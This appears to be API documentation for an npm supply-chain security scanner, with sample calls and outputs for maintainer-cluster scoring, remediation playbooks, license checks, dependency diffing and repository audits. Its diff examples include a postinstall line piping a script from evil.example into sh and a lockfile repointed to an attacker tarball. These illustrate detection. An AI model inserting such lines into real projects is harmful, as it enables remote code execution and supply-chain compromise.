| maintainerUsername | string | required | Exact npm username, e.g. "sindresorhus" — as shown at npmjs.com/~username. |
The jaredwray npm account — owner of the keyv and cacheable package families — was compromised and used to republish a credential-stealing worm across the ecosystem (868+ downstream packages, 2B+ combined weekly downloads, per contemporaneous writeups from Wiz, Socket, JFrog, and others). Verified live during this tool's development: cache-manager, cacheable, @cacheable/net, flat-cache, file-entry-cache, and 3 scoped @cacheable/* packages were all published within 42 SECONDS of each other, and jaredwray remains listed as maintainer throughout (his own account was compromised, not handed to an outsider) — unlike qix's chalk/debug incident (see check_maintainer_changes), this cluster is still fully reproducible with a live call today, not just a historical reconstruction.
Wiz — keyv and cacheable npm Package Hijacked in Supply Chain Attackcheck_maintainer_blast_radius({ "maintainerUsername": "jaredwray" }){
"maintainerUsername": "jaredwray",
"avatarUrl": "https://npmscan.com/api/avatar/f08cf036a76de57f0deb190a24970e29",
"clusterWindowHours": 72,
"clusters": [
/* 4 clusters as of this writing — this account keeps publishing, so
both the count and the totals below will keep moving; re-verify
live rather than trusting a frozen snapshot */
{
"windowStart": "2026-06-27T18:19:51.509Z",
"windowEnd": "2026-06-27T18:20:33.507Z",
"packageNames": ["@cacheable/utils", "@cacheable/memory", "@cacheable/node-cache", "cache-manager", "cacheable", "@cacheable/net", "flat-cache", "file-entry-cache"],
"packageCount": 8,
"combinedWeeklyDownloads": 278348331,
"stillCurrentMaintainerCount": 8
}
],
"findings": [ /* one tight-publish-cluster finding per cluster, 4 total */ ],
"totalScore": 116,
"riskTier": "critical"
}Verified live — and a genuinely important result, not just stale numbers: sindresorhus maintains 1000+ real npm packages published over more than a decade, and is about as textbook "legitimate prolific maintainer" as an account gets, yet the combined score across 15 separate publish clusters accumulated over 5+ years now reaches "critical." This is exactly the caveat below (originally illustrated with Facebook's "fb" account) playing out on a much more ordinary account — proof that riskTier alone, even at "critical," is a prompt to verify with check_maintainer_changes, never a standalone verdict. (An earlier version of this example named one specific 4-package cluster — parent-module/is-docker/locate-path/find-up — as scoring "moderate" in isolation; that cluster is real but is now just one piece of a larger 24-package cluster the account also has, not the whole picture.)
find-up on npm — one of many packages caught in these clusterscheck_maintainer_blast_radius({ "maintainerUsername": "sindresorhus" }){
"maintainerUsername": "sindresorhus",
"avatarUrl": "https://npmscan.com/api/avatar/d36a92237c75c5337c17b60d90686bf9",
"totalPackagesFound": 1064,
"packagesReturned": 250,
"resultsTruncated": true,
"clusters": [
/* 15 clusters as of this writing, spanning 2021-2026 */
{
"windowStart": "2025-09-07T22:08:19.358Z",
"windowEnd": "2025-09-21T08:27:34.891Z",
"packageNames": ["url-parse-lax", "terminal-link", "has-ansi", "chalk-template", "parent-module", "is-docker", "locate-path", "find-up", "..."],
"packageCount": 24,
"stillCurrentMaintainerCount": 24
}
],
"findings": [ /* one tight-publish-cluster finding per cluster, 15 total */ ],
"totalScore": 165,
"riskTier": "critical"
}- ›A large, well-known org account can still surface a "high"/"critical"-scoring cluster from an entirely routine release — e.g. Facebook's "fb" account shows several clusters from Docusaurus and React Native lockstep releases (dozens of packages published together, near-100% under one npm scope). The same-scope dampener reduces an individual cluster's own score, and multiple clusters combine with diminishing returns rather than summing linearly, but — as sindresorhus's own example above now shows directly — enough legitimate activity over enough years can still add up to "critical" on a completely ordinary account. riskTier is a heuristic prompt to go verify with check_maintainer_changes, never a standalone verdict, at any tier.
Pure local lookup, no network I/O. Pass the exact `rule` string(s) a prior finding already returned — batch up to 10 in one call to cover a whole findings array, duplicates resolving to the same playbook are deduplicated — or pass `id` to look up a specific playbook by slug directly. Each matched rule also gets its own short `situationNote` explaining specifically what that rule caught, so a batch of several different rules landing on the same playbook (e.g. six different analyze_install_script rules all resolving to supply-chain-compromise) never reads as identical, copy-pasted boilerplate — the note is fixed per rule (deterministic), not randomized, so the same input always returns the same output. An unrecognized rule or id is not an error: it comes back with `matched:false` and a `note`, since a low-severity or baseline-only finding (e.g. analyze_install_script's lifecycle-present, which just means a lifecycle script exists at all) legitimately has no dedicated playbook.
| Name | Type | Required | Description |
|---|---|---|---|
| rules | array | optional | 1-10 exact `rule` values copied from findings already returned by analyze_install_script/check_maintainer_changes/check_package_provenance. At least one of rules/id is required. |
| id | string | optional | A playbook slug to look up directly, e.g. "postinstall-binary" — see /docs/playbooks. At least one of rules/id is required. |
The `rule` value is passed through unchanged from a prior check_maintainer_changes call — this tool never re-derives it from prose. This static playbook content (steps/severity/references/situationNote text) doesn't drift with live npm data the way the earlier examples above do — it's human-authored and versioned in this codebase, not queried from the registry.
get_remediation_playbook({ "rules": ["full-maintainer-turnover"] }){
"matches": [
{
"rule": "full-maintainer-turnover",
"requestedId": null,
"matched": true,
"playbookId": "maintainer-change-flagged",
"situationNote": "None of the maintainers who held access before the lookback window remain at all — a complete, sudden handoff like this is one of the strongest indicators of a hostile takeover, not a routine transition.",
"note": "Matched to the \"maintainer-change-flagged\" playbook."
}
],
"playbooks": [
{
"id": "maintainer-change-flagged",
"title": "Maintainer change flagged",
"severity": "high",
"steps": [
{ "text": "Freeze to last known‑good version; audit diffs of latest release.", "why": "Stabilizes while you verify new ownership." },
{ "text": "Check repo activity and communication; look for transparency.", "why": "Legitimate handovers are usually documented." },
{ "text": "Require two‑person review for first re‑adopted versions.", "why": "Adds oversight during the riskiest period." }
],
"references": [
{ "label": "npm's post-mortem of the event-stream incident", "url": "https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident", "kind": "incident" }
],
"preventionTips": [
"Alert on any maintainer-list change or repository transfer/archival for production dependencies, not just at upgrade time.",
"Require two-person review for the first version published under a changed maintainer list.",
"Prefer packages published via npm trusted publishing (OIDC) over long-lived personal publish tokens where the option exists."
],
"npmscanUrl": "https://npmscan.com/docs/playbooks#maintainer-change-flagged"
}
]
}obfuscation and exfil-hosts are two different analyze_install_script findings that both resolve to supply-chain-compromise — the playbook itself is returned once, not twice, but each match keeps its own specific situationNote rather than sharing one generic sentence.
get_remediation_playbook({ "rules": ["obfuscation", "exfil-hosts"] }){
"matches": [
{
"rule": "obfuscation",
"playbookId": "supply-chain-compromise",
"situationNote": "The install script content is obfuscated (hex-encoded identifiers, large base64 blobs) — legitimate build tooling rarely needs to hide what it is doing from a reader."
},
{
"rule": "exfil-hosts",
"playbookId": "supply-chain-compromise",
"situationNote": "The install script contacts a known exfiltration-style endpoint (Discord/Telegram webhook, Pastebin, webhook.site) — a real, verified 2026 npm incident used exactly this pattern, a preinstall script posting the host's username and hostname to a webhook.site collector on every install."
}
],
"playbooks": [
{ "id": "supply-chain-compromise", "title": "Supply‑chain compromise", "severity": "critical" }
]
}get_remediation_playbook({ "id": "postinstall-binary" }){
"matches": [
{ "rule": null, "requestedId": "postinstall-binary", "matched": true, "playbookId": "postinstall-binary", "situationNote": null, "note": "Matched playbook id \"postinstall-binary\" directly." }
],
"playbooks": [
{
"id": "postinstall-binary",
"title": "Postinstall downloads a binary",
"severity": "critical",
"references": [
{ "label": "GHSA-pjwm-rvh2-c87w — Embedded malware in ua-parser-js", "url": "https://github.com/advisories/GHSA-pjwm-rvh2-c87w", "kind": "incident" }
]
}
]
}"lifecycle-present" just means analyze_install_script found a preinstall/install/postinstall/prepare script at all — not evidence of risk on its own, so it correctly comes back unmatched rather than forcing an unrelated playbook.
get_remediation_playbook({ "rules": ["lifecycle-present"] }){
"matches": [
{ "rule": "lifecycle-present", "requestedId": null, "matched": false, "playbookId": null, "situationNote": null, "note": "No dedicated playbook for rule \"lifecycle-present\" — likely a baseline/informational finding, not evidence of risk on its own." }
],
"playbooks": []
}License-policy enforcement, before/after dependency diffing for PR review, ranking a pile of already-found vulnerabilities by what to actually fix first, simulating whether a suggested fix version is a safe bump or a breaking one, turning a "don't use this" warning into a concrete replacement shortlist, and exporting the whole thing as a spec-valid CycloneDX/SPDX SBOM for downstream tooling.
Classifies every license into permissive/weak-copyleft/copyleft/network-copyleft/proprietary/public-domain/unknown, and understands simple SPDX expressions: "(MIT OR GPL-3.0)" is compliant if either side is permitted, "MIT AND Apache-2.0" requires both sides to pass. With no policy given, only copyleft/network-copyleft/proprietary (GPL/AGPL/UNLICENSED) are violations; policy.deny always wins over policy.allow. This reads only the registry-declared license field, not LICENSE file contents.
| Name | Type | Required | Description |
|---|---|---|---|
| packages | array | required | 1-100 {name, version?} packages to check. version accepts an exact version or a semver range; omitted = latest. |
| policy | object | optional | { allow?: string[], deny?: string[] } — SPDX ids, family prefixes (e.g. "GPL"), or category names. Omit for the default policy. |
One call mixing genuinely copyleft-licensed packages with permissively-licensed ones under the default policy.
check_license_compliance({
"packages": [
{ "name": "graphviz" },
{ "name": "lightningcss" },
{ "name": "lodash" }
]
}){
"policy": { "mode": "default", "allow": [], "deny": [] },
"summary": "1 of 3 packages violate the default policy (copyleft/network-copyleft/proprietary).",
"results": [
{ "package": { "name": "graphviz" }, "rawLicense": "GPL-3.0-or-later", "category": "copyleft", "isCompliant": false, "violation": { "rule": "default-copyleft", "text": "GPL-3.0-or-later is copyleft" } },
{ "package": { "name": "lightningcss" }, "rawLicense": "MPL-2.0", "category": "weak-copyleft", "isCompliant": true },
{ "package": { "name": "lodash" }, "rawLicense": "MIT", "category": "permissive", "isCompliant": true }
],
"totalPackages": 3,
"compliantCount": 2,
"violationCount": 1
}policy.deny lists GPL-3.0, but the package is dual-licensed — the MIT side is legally sufficient, so it is not a violation.
check_license_compliance({
"packages": [{ "name": "expand-template" }],
"policy": { "deny": ["GPL-3.0"] }
}){
"results": [
{ "package": { "name": "expand-template" }, "rawLicense": "(MIT OR WTFPL)", "category": "permissive", "isCompliant": true, "needsReview": false }
],
"violationCount": 0
}The same package is compliant under the default policy but becomes a violation once policy.allow is narrowed to ["MIT"] — unknown is never auto-compliant against an allow-list.
check_license_compliance({
"packages": [{ "name": "ckeditor4" }],
"policy": { "allow": ["MIT"] }
}){
"results": [
{ "package": { "name": "ckeditor4" }, "rawLicense": "(GPL-2.0-or-later OR LGPL-2.1-or-later OR MPL-1.1)", "category": "mixed", "isCompliant": false, "needsReview": true }
],
"needsReviewCount": 1
}`installScriptIntroduced` and `sourceIntegrityChanged` are the two highest-signal per-package fields: a routine-looking patch bump that quietly adds a postinstall is the shape of a compromised-maintainer attack, and a lockfile entry whose resolved tarball URL/integrity hash changed while the version string stayed IDENTICAL (see `resolvedUrl`/`integrity`) is a tampered lockfile or compromised mirror that a version-only diff would report as "no change." `vulnerabilityDelta` reports introduced/fixed/still-vulnerable/still-clean per changed package rather than a bare isVulnerable flag. Every lockfile format (package-lock.json, pnpm-lock.yaml, yarn.lock) reports its FULL resolved graph — direct and transitive dependencies alike — so a transitive-only bump (e.g. a nested `qs` changing while the direct `express` version is untouched) is caught too; a package.json is diffed as its own declared list only, since a manifest has no transitive data at all. `projectLifecycleChanges` diffs the SCANNED PROJECT'S OWN root preinstall/install/postinstall/prepare scripts (package.json only) and `overridesChanges` diffs `overrides`/`resolutions`/`pnpm.overrides` — both independent of the added/removed/changed dependency list, since a PR that only touches one of these changes nothing else a diff would normally report.
| Name | Type | Required | Description |
|---|---|---|---|
| before | string | required | Raw "before" snapshot content — format auto-detected. |
| after | string | required | Raw "after" snapshot content — may be a different format than before. |
Verified live.
diff_dependencies({
"before": "{ \"dependencies\": { \"minimist\": \"1.2.5\" } }",
"after": "{ \"dependencies\": { \"minimist\": \"1.2.6\" } }"
}){
"summary": "Compared package.json snapshots: 0 added, 0 removed, 1 changed.",
"changed": [
{
"name": "minimist",
"beforeVersion": "1.2.5",
"afterVersion": "1.2.6",
"changeType": "upgrade",
"installScriptIntroduced": false,
"sourceIntegrityChanged": null,
"isVulnerable": false,
"vulnerabilityDelta": "fixed"
}
],
"flaggedCount": 0,
"projectLifecycleChanges": null,
"overridesChanges": null
}Verified live. A version-only diff would report "no change" here — sourceIntegrityChanged catches it independently of the version string.
diff_dependencies({
"before": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz\" } } }",
"after": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://evil.example/lodash-4.18.1.tgz\" } } }"
}){
"summary": "Compared npm-lock snapshots: 0 added, 0 removed, 1 changed — 1 flagged for a newly introduced install script, source/integrity change, override change, and/or vulnerability.",
"changed": [
{
"name": "lodash",
"beforeVersion": "4.18.1",
"afterVersion": "4.18.1",
"changeType": "unresolved",
"sourceIntegrityChanged": true,
"resolvedUrl": "https://evil.example/lodash-4.18.1.tgz",
"vulnerabilityDelta": "still-clean"
}
],
"flaggedCount": 1
}Verified live. Neither change touches added/removed/changed at all, since both are about the PROJECT itself, not a dependency — invisible to any diff that only looks at the dependency list.
diff_dependencies({
"before": "{ \"dependencies\": { \"lodash\": \"4.18.1\" }, \"overrides\": { \"minimist\": \"1.2.6\" } }",
"after": "{ \"dependencies\": { \"lodash\": \"4.18.1\" }, \"scripts\": { \"postinstall\": \"curl -fsSL https://evil.example/payload.sh | sh\" } }"
}){
"summary": "No dependency changes detected between the two package.json snapshots. The scanned project's own root lifecycle scripts DID change, though — see projectLifecycleChanges. overrides/resolutions DID change, though — see overridesChanges.",
"changed": [],
"flaggedCount": 2,
"projectLifecycleChanges": {
"introduced": { "postinstall": "curl -fsSL https://evil.example/payload.sh | sh" },
"removed": {},
"changed": {}
},
"overridesChanges": {
"introduced": {},
"removed": { "minimist": "1.2.6" },
"changed": {}
}
}Same two versions, swapped — the tool doesn't just check the final version's status, it reports the direction of the change.
diff_dependencies({
"before": "{ \"dependencies\": { \"minimist\": \"1.2.6\" } }",
"after": "{ \"dependencies\": { \"minimist\": \"1.2.5\" } }"
}){
"summary": "1 package changed. 1 vulnerability introduced by this change.",
"changed": [
{
"name": "minimist",
"beforeVersion": "1.2.6",
"afterVersion": "1.2.5",
"changeType": "downgrade",
"isVulnerable": true,
"highestSeverity": "CRITICAL",
"vulnerabilityDelta": "introduced"
}
],
"flaggedCount": 1
}package.json declares "^4.17.21" and package-lock.json pins "4.17.21" for the same package — resolved to the same version, so it is correctly left out of "changed" instead of being reported as a false diff.
diff_dependencies({
"before": "{ \"dependencies\": { \"lodash\": \"^4.17.21\" } }",
"after": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.17.21\" } } }"
}){
"beforeFormat": "package.json",
"afterFormat": "npm-lock",
"comparisonNote": "before is package.json and after is npm-lock — version strings are compared after resolving both to exact registry versions, not as raw text",
"changed": [],
"totalChanged": 0
}A confirmed-malware finding (`findingType: "malware"`, or a `MAL-*` advisoryId — auto-detected even without setting findingType) forces `tier: "remove-now"` ahead of everything else: it is not a vulnerability to schedule, it is a package to remove. After that, KEV status (confirmed active exploitation) is an automatic top-priority override to `patch-now`; EPSS (30-day exploitation probability) is the primary ranking signal otherwise since it measures likelihood, not just impact; severity is a fallback, most useful for a GHSA finding with no CVE alias. Pass in findings other tools already returned (batch_query_vulnerabilities, analyze_transitive_dependencies, query_vulnerabilities, diff_dependencies) — a CVE ID shared by multiple findings in the same call is looked up once.
| Name | Type | Required | Description |
|---|---|---|---|
| findings | array | required | 1-200 {packageName, cveId?, severity?, currentVersion?, fixedVersion?, advisoryId?, findingType?} findings to rank. findingType: "malware" (or a MAL-* advisoryId) forces tier "remove-now"; omit for an ordinary vulnerability. |
Verified live. CVE-2021-44228 (Log4Shell) is a long-standing CISA KEV entry, used here as a regression guard since its KEV status is a permanent, unambiguous fact — yet the malware finding still ranks first.
CVE-2021-44228 on the NIST NVDprioritize_remediation({
"findings": [
{ "packageName": "example-compromised-pkg", "advisoryId": "MAL-2025-99999", "findingType": "malware" },
{ "packageName": "vulnerable-log4j-wrapper", "cveId": "CVE-2021-44228", "severity": "CRITICAL" },
{ "packageName": "is-number", "severity": "LOW" }
]
}){
"totalFindings": 3,
"summary": { "removeNow": 1, "patchNow": 1, "patchSoon": 0, "scheduled": 0, "monitor": 1, "kevListedCount": 1 },
"ranked": [
{
"rank": 1,
"packageName": "example-compromised-pkg",
"advisoryId": "MAL-2025-99999",
"findingType": "malware",
"tier": "remove-now",
"reason": "Flagged as known malware / a malicious package — remove or replace it, this is not something to just patch."
},
{
"rank": 2,
"packageName": "vulnerable-log4j-wrapper",
"cveId": "CVE-2021-44228",
"findingType": "vulnerability",
"kev": { "dateAdded": "2021-12-10", "requiredAction": "Apply updates per vendor instructions." },
"epss": { "score": 0.99999, "percentile": 1 },
"tier": "patch-now",
"reason": "Actively exploited in the wild — listed on the CISA Known Exploited Vulnerabilities catalog."
},
{ "rank": 3, "packageName": "is-number", "cveId": null, "findingType": "vulnerability", "kev": null, "tier": "monitor", "reason": "No CVE id supplied — ranked by LOW severity alone." }
]
}prioritize_remediation({
"findings": [
{ "packageName": "pkg-a", "cveId": "CVE-2021-44906", "severity": "CRITICAL" },
{ "packageName": "pkg-b", "cveId": "CVE-2021-44906", "severity": "CRITICAL" }
]
}){
"totalFindings": 2,
"uniqueCveCount": 1,
"ranked": [
{ "rank": 1, "packageName": "pkg-a", "cveId": "CVE-2021-44906" },
{ "rank": 2, "packageName": "pkg-b", "cveId": "CVE-2021-44906" }
]
}Also rejected: an empty findings array, and a malformed cveId that doesn't match the CVE-YYYY-NNNN pattern.
prioritize_remediation({ "findings": [ /* 201 items */ ] }){ "error": "findings: Array must contain at most 200 element(s)" }Classifies the jump by semver (major/minor/patch/prerelease), treating a minor bump between two pre-1.0 (0.x) versions as breaking-risk per semver's own "the API isn't stable yet" convention, and flags skipping over multiple major versions in one jump (e.g. 2.x -> 5.x) as needing a per-major changelog review. Beyond semver it checks the registry for a newly-deprecated target version, a newly-introduced preinstall/install/postinstall/prepare lifecycle script, and a tightened engines.node requirement, then batch-checks both versions against OSV.dev and reports vulnerabilityDelta (introduced/fixed/still-vulnerable/still-clean) — catching a suggested "fix" version that only clears one of several open CVEs. Does not fetch changelogs or diff the target tarball's source — a fast, deterministic pre-check, not a substitute for reading release notes on a flagged major bump.
| Name | Type | Required | Description |
|---|---|---|---|
| packageName | string | required | Exact npm package name, e.g. "lodash" or "@scope/name". |
| currentVersion | string | required | Currently installed version — exact version, semver range, or dist-tag. |
| targetVersion | string | optional | Version to simulate upgrading to — exact version, range, or dist-tag. Omit for the registry's "latest" dist-tag. |
lodash 3.x -> 4.x is a real major rewrite (many top-level function signatures changed) — the semver bump alone is enough to flag it, independent of vulnerability status.
simulate_dependency_upgrade({
"packageName": "lodash",
"currentVersion": "3.10.1",
"targetVersion": "4.17.21"
}){
"resolvedCurrentVersion": "3.10.1",
"resolvedTargetVersion": "4.17.21",
"direction": "upgrade",
"semverBump": "major",
"isBreakingBySemver": true,
"majorVersionsSkipped": 0,
"vulnerabilityDelta": "still-clean",
"riskTier": "breaking-change-likely",
"reasons": ["Major version bump — semver signals this release is allowed to contain breaking API changes."]
}minimist 1.2.5 -> 1.2.6 is the same trusted CRITICAL prototype-pollution fixture other npmscan tests use — a clean patch bump that actually fixes the vulnerability.
CVE-2021-44906 on the NIST NVDsimulate_dependency_upgrade({
"packageName": "minimist",
"currentVersion": "1.2.5",
"targetVersion": "1.2.6"
}){
"resolvedCurrentVersion": "1.2.5",
"resolvedTargetVersion": "1.2.6",
"direction": "upgrade",
"semverBump": "patch",
"isBreakingBySemver": false,
"installScriptIntroduced": false,
"currentIsVulnerable": true,
"targetIsVulnerable": false,
"vulnerabilityDelta": "fixed",
"riskTier": "safe",
"reasons": ["Patch version bump — semver signals a backward-compatible bug fix.", "Target version resolves a known vulnerability present in the current version."]
}Only a nonexistent package name is rejected outright; an unsatisfiable version spec against a real package comes back as a 200 with resolvedTargetVersion: null and an explanatory note.
simulate_dependency_upgrade({
"packageName": "lodash",
"currentVersion": "4.17.21",
"targetVersion": "^99.0.0"
}){
"resolvedCurrentVersion": "4.17.21",
"resolvedTargetVersion": null,
"targetVersionNote": "No published version of \"lodash\" satisfies \"^99.0.0\"",
"direction": "unresolved",
"riskTier": "unknown"
}Checks the source package's own health first (deprecation, latest-version OSV verdict, popularity/maintenance tiers, typosquat), then combines maintainer-provided deprecation hints with deterministic npm search-based category matching. Filters out typosquats and weak/stale contenders, and returns plain-language whySuggested notes per candidate. nonPackageAlternatives surfaces a built-in-language alternative (e.g. String.prototype.padStart()) instead of forcing a package suggestion when one isn't warranted.
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name, e.g. "request" or "node-sass". |
| reason | string | optional | "deprecated" | "vulnerable" | "abandoned" | "typosquat" | "general" — biases filtering/ranking. |
| limit | number | optional | Max suggestions to return. Default 5, max 10. |
node-sass's own deprecation message names its replacement — the tool reads that hint rather than guessing from category search alone.
node-sass on npm — read the deprecation notice yourselfsuggest_alternative({ "name": "node-sass" }){
"source": { "name": "node-sass", "deprecated": "node-sass is deprecated. Please use dart-sass instead.", "popularityTier": "high", "maintenanceTier": "stale" },
"reason": "deprecated",
"confidence": "high",
"suggestions": [
{ "name": "sass", "deprecated": null, "isLatestVersionVulnerable": false, "whySuggested": "Named directly in node-sass's own deprecation notice; actively maintained." },
{ "name": "sass-embedded", "deprecated": null, "whySuggested": "Named directly in node-sass's own deprecation notice; faster native binding." }
]
}request-promise's deprecation message is prose without an explicit replacement package name; the tool falls back to category matching rather than inventing one.
request-promise on npm — read the deprecation notice yourselfsuggest_alternative({ "name": "request-promise" }){
"source": { "name": "request-promise", "deprecated": "request-promise has been deprecated because request has been deprecated." },
"reason": "deprecated",
"confidence": "medium",
"suggestions": [
{ "name": "got", "whySuggested": "Same HTTP-client category, actively maintained, no open vulnerabilities." },
{ "name": "axios", "whySuggested": "Same HTTP-client category, actively maintained, no open vulnerabilities." }
]
}left-pad's functionality is now a JavaScript built-in — nonPackageAlternatives surfaces that instead of padding the suggestions list with unrelated packages.
String.prototype.padStart() on MDNsuggest_alternative({ "name": "left-pad" }){
"source": { "name": "left-pad" },
"reason": "general",
"nonPackageAlternatives": ["String.prototype.padStart()"],
"suggestions": []
}Each candidate gets downloads + trend, popularityTier/maintenanceTier, GitHub stars, TypeScript support, license, deprecated status, latest-version vulnerability status, a lightweight installScriptRisk signal (scans lifecycle script command strings for known red flags — does NOT fetch the tarball; call analyze_install_script on a specific candidate for that deeper scan), and installSize (the candidate's own dist.unpackedSize plus a transitive rollup — dist.unpackedSize summed across its resolved dependency tree, walked up to depth 2 / 60 nodes per candidate; a small package can still drag in a large tree, so `installSize.transitive.transitiveUnpackedSize` is often the more useful number than the package's own size). `differentiators` names which candidates stand out on each dimension, including the smallest/largest install footprint. `recommendation.pick` is chosen from a deterministic weighted score across popularity, maintenance, deprecation, vulnerabilities, typosquat flag, install-script risk, TS support, and GitHub stars (install size is reported but not scored) — never a deprecated or typosquat-flagged candidate — with `rationale` explaining why and `confidence` reflecting the score gap to the runner-up. A name that can't be resolved still appears in `candidates` with `found:false` and `resolutionError` set rather than failing the whole call.
| Name | Type | Required | Description |
|---|---|---|---|
| packages | string[] | required | 2-5 exact npm package names to compare, e.g. ["axios", "got", "node-fetch"]. |
All three candidates resolve cleanly; the pick is driven by the same popularity/maintenance/vulnerability signals get_package already exposes, not name recognition. installSize surfaces a signal none of those do: node-fetch's own package is a fraction of axios's size, but its transitive tree is over 4x larger — invisible from downloads/stars alone.
compare_packages({ "packages": ["axios", "got", "node-fetch"] }){
"candidates": [
{ "name": "axios", "found": true, "weeklyDownloads": 65000000, "popularityTier": "very-high", "maintenanceTier": "active", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 1983343, "transitive": { "transitiveUnpackedSize": 2271546, "transitiveDependencyCount": 12, "sizeUnknownCount": 1, "truncated": false } }, "score": 41 },
{ "name": "got", "found": true, "weeklyDownloads": 26000000, "popularityTier": "very-high", "maintenanceTier": "active", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 448958, "transitive": { "transitiveUnpackedSize": 1553040, "transitiveDependencyCount": 19, "sizeUnknownCount": 0, "truncated": false } }, "score": 26 },
{ "name": "node-fetch", "found": true, "weeklyDownloads": 45000000, "popularityTier": "very-high", "maintenanceTier": "aging", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 107319, "transitive": { "transitiveUnpackedSize": 9236710, "transitiveDependencyCount": 6, "sizeUnknownCount": 0, "truncated": false } }, "score": 20 }
],
"differentiators": {
"mostDownloads": "axios",
"hasTypeScriptSupport": ["axios", "got", "node-fetch"],
"hasKnownVulnerabilities": [],
"deprecated": [],
"possibleTyposquat": [],
"installScriptRiskFlagged": [],
"smallestInstallSize": "got",
"largestInstallSize": "node-fetch"
},
"recommendation": {
"pick": "axios",
"runnerUp": "got",
"rationale": "axios: widely used (65,000,000 weekly downloads); actively maintained (published 12d ago); ships built-in TypeScript types; no known vulnerabilities in its latest version.",
"confidence": "high"
}
}request is real and deprecated; it still appears in candidates with its own scores so the caller can see why it lost, but recommendation.pick skips it entirely.
compare_packages({ "packages": ["axios", "request", "node-fetch"] }){
"candidates": [
{ "name": "axios", "found": true, "deprecated": null, "score": 41 },
{ "name": "request", "found": true, "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", "maintenanceTier": "stale", "score": -34 },
{ "name": "node-fetch", "found": true, "deprecated": null, "score": 20 }
],
"differentiators": { "deprecated": ["request"], "possibleTyposquat": [], "hasKnownVulnerabilities": [] },
"recommendation": {
"pick": "axios",
"runnerUp": "node-fetch",
"rationale": "axios: widely used (65,000,000 weekly downloads); actively maintained (published 12d ago); ships built-in TypeScript types; no known vulnerabilities in its latest version. 1 candidate excluded from consideration (deprecated or a possible typosquat).",
"confidence": "high"
}
}A typo or unpublished name doesn't abort the whole call — it comes back as one candidate with found:false and a resolutionError, while the other candidates are still fully scored and compared.
compare_packages({ "packages": ["axios", "got", "definitely-not-a-real-package-xyz"] }){
"candidates": [
{ "name": "axios", "found": true, "score": 41 },
{ "name": "got", "found": true, "score": 30 },
{ "name": "definitely-not-a-real-package-xyz", "found": false, "resolutionError": "Package \"definitely-not-a-real-package-xyz\" not found", "installScriptRisk": null, "score": null }
],
"recommendation": { "pick": "axios", "runnerUp": "got", "confidence": "medium" }
}Tries pnpm-lock.yaml, then package-lock.json, then yarn.lock, in that order — the first one found is used for exact resolved versions; falls back to package.json alone (ranges resolved against the registry) when none exist. A monorepo is detected automatically from package.json#workspaces, Yarn's {packages:[...]} form, or pnpm-workspace.yaml: pnpm-lock.yaml and yarn.lock already record every workspace member's dependencies directly, and for a package-lock.json or no-lockfile repo this additionally lists the repo's file tree, resolves the declared glob patterns to member directories, and merges each member's dependencies into the audit (capped at 50 member packages) — without this, a monorepo audited via its root manifest alone would only see the root's own dev tooling, silently missing every workspace member's real dependencies. Every direct dependency (up to 100 per call, across the root and any merged workspace members) gets a vulnerability check, a license-compliance verdict, and a tarball-free install-script signal; up to 10 packages that actually declare a lifecycle script additionally get the full tarball-fetching deep scan. Any package that comes back vulnerable at high/critical severity, a possible typosquat, or deprecated additionally gets a maintainer-history check and a publish-provenance check (the same ones check_maintainer_changes/check_package_provenance expose individually) — up to 5 such packages per call, named in ownershipCheckNote if more qualified. This is the most expensive tool in the suite — avoid calling it in a tight loop across many repos.
| Name | Type | Required | Description |
|---|---|---|---|
| url | string | required | GitHub repository URL, e.g. "https://github.com/owner/repo". |
| ref | string | optional | Branch, tag, or commit SHA to audit; omit to use the repository's default branch. |
| includeDevDependencies | boolean | optional | Include package.json devDependencies (root and, for a monorepo, every merged workspace member). Default false; ignored when a pnpm/yarn lockfile is used instead. |
| policy | object | optional | { allow?: string[], deny?: string[] } — same shape as check_license_compliance. Omit for the default policy (only copyleft/network-copyleft/proprietary are violations). |
One of express's own dependencies declares a lifecycle script — it gets the full tarball-fetching deep scan rather than just the cheap tier-1 signal.
audit_github_repository({ "url": "https://github.com/expressjs/express" }){
"summary": "Audited 28 dependencies from expressjs/express: 0 with known vulnerabilities, 0 license violation(s), 3 flagged install script(s).",
"lockfilePath": null,
"inputFormat": "package.json",
"isMonorepo": false,
"findings": [
{
"name": "content-disposition",
"resolvedVersion": "3.0.0",
"isVulnerable": false,
"rawLicense": "MIT",
"isLicenseCompliant": true,
"hasLifecycleScripts": true,
"installScriptRiskTier": "low",
"installScriptScanScope": "deep-tarball-scan"
}
],
"totalPackages": 28,
"installScriptFlaggedCount": 3,
"deepScannedCount": 3
}npm/cli itself is an npm-workspaces monorepo with a committed package-lock.json (no pnpm-lock.yaml/yarn.lock). "@npmcli/query" is a real dependency of its "arborist" workspace member, absent from the root manifest's own dependency list — it only shows up in findings because member enumeration ran.
npm/cli's package.json — see the "workspaces" fieldaudit_github_repository({ "url": "https://github.com/npm/cli" }){
"lockfilePath": "package-lock.json",
"isMonorepo": true,
"workspacePatterns": ["docs", "smoke-tests", "mock-globals", "mock-registry", "workspaces/*"],
"workspacePackageCount": 16,
"workspaceNote": "Monorepo detected (docs, smoke-tests, mock-globals, mock-registry, workspaces/*) — merged 16 workspace package(s) in addition to the root manifest.",
"findings": [
{ "name": "@npmcli/query", "resolvedVersion": "4.0.1", "isVulnerable": false }
],
"totalPackages": 84
}audit_github_repository({ "url": "https://github.com/github/gitignore" }){ "error": "No package.json found in \"github/gitignore\" at ref \"main\"" }- ›Shares its business logic with POST /api/analysis/audit-github-repository.
- ›Ownership-risk fields (maintainerRiskTier/maintainerFindings, provenanceRiskTier/provenanceFindings) are only populated for findings with ownershipRiskChecked=true — everything else keeps them null even when ownershipRiskEligible is true, which just means the package matched a trigger condition but fell past the per-call cap.
